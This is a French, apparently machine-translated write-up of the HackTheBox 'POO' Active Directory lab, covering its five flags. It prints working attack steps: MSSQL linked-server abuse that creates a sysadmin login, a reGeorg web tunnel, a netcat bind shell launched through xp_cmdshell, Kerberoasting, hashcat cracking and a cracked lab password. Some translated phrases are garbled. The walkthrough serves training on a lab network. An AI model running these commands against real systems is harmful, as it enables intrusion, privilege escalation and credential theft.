Fin de partie HackTheBox. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

image

Dans cet article, nous analyserons le passage non seulement d'une voiture, mais de tout un mini-laboratoire du site HackTheBox .

Comme indiqué dans la description, POO est conçu pour tester les compétences à toutes les étapes des attaques dans un petit environnement Active Directory. L'objectif est de compromettre un hôte disponible, d'augmenter les privilèges et, finalement, de compromettre l'ensemble du domaine, tout en collectant 5 drapeaux.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous entrez dans un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Intro


Cette fin de partie se compose de deux machines et contient 5 drapeaux.

image

La description et l'adresse de l'hôte disponible sont également fournies.

image

Commençons!

Drapeau de reconnaissance


Cette machine a une adresse IP de 10.13.38.11, que j'ajoute à / etc / hosts.
10.13.38.11 poo.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A poo.htb -p80,1433

image

Ainsi, nous avons IIS et MSSQL. Dans ce cas, nous découvrirons le vrai nom DNS du domaine et de l'ordinateur. Sur le serveur Web, nous sommes accueillis par la page d'accueil d'IIS.

image

Passons en revue les répertoires. J'utilise gobuster pour cela. Dans les paramètres, nous indiquons le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

image

Ainsi, nous avons l'authentification HTTP pour le répertoire / admin, ainsi qu'un fichier de référentiel de service de bureau disponible .DS_Store. .DS_Store - ce sont des fichiers qui stockent les paramètres utilisateur pour le dossier, comme une liste de fichiers, l'emplacement des icônes, l'image d'arrière-plan sélectionnée. Un tel fichier peut tomber dans le répertoire du serveur Web des développeurs Web. Ainsi, nous obtenons des informations sur le contenu du répertoire. Vous pouvez utiliser le robot DS_Store pour cela .

python3 dsstore_crawler.py -i http://poo.htb/

image

Nous obtenons le contenu du répertoire. La chose la plus intéressante ici est le répertoire / dev, à partir duquel nous pouvons voir les fichiers source et db dans deux branches. Mais nous pouvons d'abord 6 caractères du nom des fichiers et répertoires si le service est vulnérable à IIS ShortName. Pour vérifier cette vulnérabilité, utilisez le scanner de noms abrégés IIS .

image

Et nous allons à un fichier texte qui commence par «poo_co». Ne sachant pas quoi faire ensuite, j'ai simplement sélectionné tous les mots commençant par «co» dans le dictionnaire du répertoire.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Et parcourez wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

image

Et nous trouvons le bon mot! Nous regardons ce fichier, sauvegardons les informations d'identification (à en juger par le paramètre DBNAME, elles proviennent de MSSQL).

image

Nous remettons le drapeau et nous progressons de 20%.

image

Drapeau Huh


Nous sommes connectés à MSSQL, j'utilise DBeaver.

image

Nous ne trouvons rien d'intéressant dans cette base de données, créons un éditeur SQL et vérifions ce que sont les utilisateurs.

SELECT name FROM master..syslogins;

image

Nous avons deux utilisateurs. Vérifions nos privilèges.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

image

Ainsi, il n'y a pas de privilèges. Voyons les serveurs associés, à propos de cette technique que j'ai écrite en détail ici .

SELECT * FROM master..sysservers;

image

Nous trouvons donc un autre SQL Server. Vérifions l'exécution des commandes sur ce serveur en utilisant openquery ().

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

image

Et nous pouvons même créer un arbre de requête.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

Le fait est que lorsque nous exécutons une demande à un serveur lié, la demande est exécutée dans le contexte d'un autre utilisateur! Voyons dans le contexte de quel utilisateur nous travaillons sur un serveur lié.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

image

Voyons maintenant dans quel contexte la requête du serveur lié au nôtre est exécutée!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

image

Il s'agit donc d'un contexte DBO qui devrait disposer de tous les privilèges. Vérifions les privilèges en cas de demande d'un serveur lié.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

image

Comme vous pouvez le voir, nous avons tous les privilèges! Créons notre administrateur de cette manière. Mais ils ne le laissent pas passer par openquery, faisons-le via EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

Et maintenant que nous sommes connectés avec les informations d'identification du nouvel utilisateur, nous observons la nouvelle base de données des drapeaux.

image

Nous remettons ce drapeau et allons de l'avant.

image

Drapeau de retour en arrière


Nous obtenons le shell en utilisant MSSQL, j'utilise mssqlclient du paquet impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

image

Nous devons obtenir des mots de passe, et la première chose que nous avons déjà rencontrée est le site. Ainsi, nous avons besoin d'une configuration de serveur Web (il est impossible de lancer un shell pratique, apparemment le pare-feu fonctionne).

image

Mais l'accès est refusé. Bien que nous puissions lire le fichier depuis MSSQL, il vous suffit de savoir quels langages de programmation sont configurés. Et dans le répertoire MSSQL, nous découvrons ce qu'est Python.

image

Lisez ensuite le fichier web.config, il n'y a pas de problème.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

image

Une fois les informations d'identification trouvées, accédez à / admin et récupérez l'indicateur.

image

image

Drapeau lisse


En fait, il y a quelques inconvénients à utiliser un pare-feu, mais en regardant les paramètres réseau, nous remarquons que la perforation IPv6 est également utilisée!

image

Ajoutez cette adresse à / etc / hosts.
dead:babe::1001 poo6.htb
Analysons à nouveau l'hôte, mais en utilisant IPv6.

image

Et sur IPv6, le service WinRM est disponible. Connectez-vous avec les informations d'identification trouvées.

image

Il y a un drapeau sur le bureau, nous le remettons.

image

Drapeau P00ned


Après une reconnaissance sur l'hôte à l'aide de pois chiches, nous ne trouvons rien de spécial. Ensuite, il a été décidé de rechercher à nouveau les informations d'identification (j'ai également écrit un article sur ce sujet ). Mais je n'ai pas réussi à obtenir tous les SPN du système via WinRM.

setspn.exe -T intranet.poo -Q */*

image

Exécutons la commande via MSSQL.

image

De cette façon, nous obtenons les SPN des utilisateurs p00_hr et p00_adm, ce qui signifie qu'ils sont vulnérables à une attaque telle que Kerberoasting. En bref, nous pouvons obtenir des hachages de leurs mots de passe.

Vous devez d'abord obtenir un shell stable au nom de l'utilisateur MSSQL. Mais comme notre accès est limité, nous n'avons accès à l'hôte que via les ports 80 et 1433. Mais il est possible de tunneler le trafic via le port 80! Pour ce faire, nous utilisons l' application suivante . Téléchargez le fichier tunnel.aspx dans le répertoire de base du serveur Web - C: \ inetpub \ wwwroot \.

image

Mais lorsque nous essayons d'y accéder, nous obtenons l'erreur 404. Cela signifie que les fichiers * .aspx ne sont pas exécutés. Pour que les fichiers avec ces extensions commencent à s'exécuter, installez ASP.NET 4.5 comme suit.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

image

image

Et maintenant, en accédant à tunnel.aspx, nous obtenons la réponse que tout est prêt à fonctionner.

image

Lançons la partie client de l'application, qui traitera du relais du trafic. Nous redirigerons tout le trafic du port 5432 vers le serveur.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

image

Et nous utilisons des chaînes de proxy pour envoyer du trafic vers n'importe quelle application via notre proxy. Ajoutez ce proxy au fichier de configuration /etc/proxychains.conf.

image

Nous allons maintenant télécharger le programme netcat sur le serveur , à l'aide duquel nous allons créer un shell de liaison stable, et le script Invoke-Kerberoast , avec lequel nous exécuterons l'attaque Kerberoasting.

image

Maintenant, via MSSQL, nous démarrons l'écouteur.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

image

Et connectez-vous via notre proxy.

proxychains rlwrap nc poo.htb 4321

image

Et prenons les hachages.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

image

Ensuite, vous devez trier ces hachages. Puisqu'il n'y avait aucune donnée de mot de passe dans le dictionnaire rockyou, j'ai utilisé TOUS les dictionnaires de mots de passe fournis par Seclists. Pour la recherche, nous utilisons hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Et nous trouvons les deux mots de passe, le premier dans le dictionnaire dutch_passwordlist.txt et le second dans Keyboard-Combinations.txt.

image

image

Et donc nous avons trois utilisateurs, allez au contrôleur de domaine. Nous découvrons d'abord son adresse.

image

Ok, nous avons découvert l'adresse IP du contrôleur de domaine. Découvrons tous les utilisateurs du domaine, ainsi que celui d'entre eux qui est l'administrateur. Pour télécharger le script pour obtenir des informations PowerView.ps1. Connectez-vous ensuite à l'aide de evil-winrm en spécifiant le répertoire avec le script dans le paramètre -s. Et puis il suffit de charger le script PowerView.

image

Maintenant, toutes ses fonctions sont à notre disposition. L'utilisateur p00_adm ressemble à un utilisateur privilégié, nous allons donc travailler dans son contexte. Créez un objet PSCredential pour cet utilisateur.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Maintenant, toutes les commandes Powershell, où nous spécifions Creds, seront exécutées au nom de p00_adm. Listons les utilisateurs et l'attribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

image

Et donc, notre utilisateur est vraiment privilégié. Jetons un coup d'œil aux groupes dans lesquels il est composé.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

image

Nous affirmons que l'utilisateur est un administrateur de domaine. Cela lui donne le droit de se connecter à distance au contrôleur de domaine. Essayons d'entrer via WinRM en utilisant notre tunnel. J'ai été confus par les erreurs générées par reGeorg lors de l'utilisation de evil-winrm.

image

Ensuite, nous utiliserons un autre script plus simple pour se connecter à WinRM. Ouvrez et modifiez les paramètres de la connexion.

image

Nous essayons de nous connecter et nous sommes dans le système.

image

Mais il n'y a pas de drapeau. Regardez ensuite l'utilisateur et vérifiez les bureaux.

image

Chez mr3ks, nous trouvons le drapeau et le laboratoire est passé à 100%.

image

C'est tout. À titre de rétroaction, indiquez si vous avez appris quelque chose de nouveau dans cet article et si cela vous a été utile.

Vous pouvez nous rejoindre sur Telegram. Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles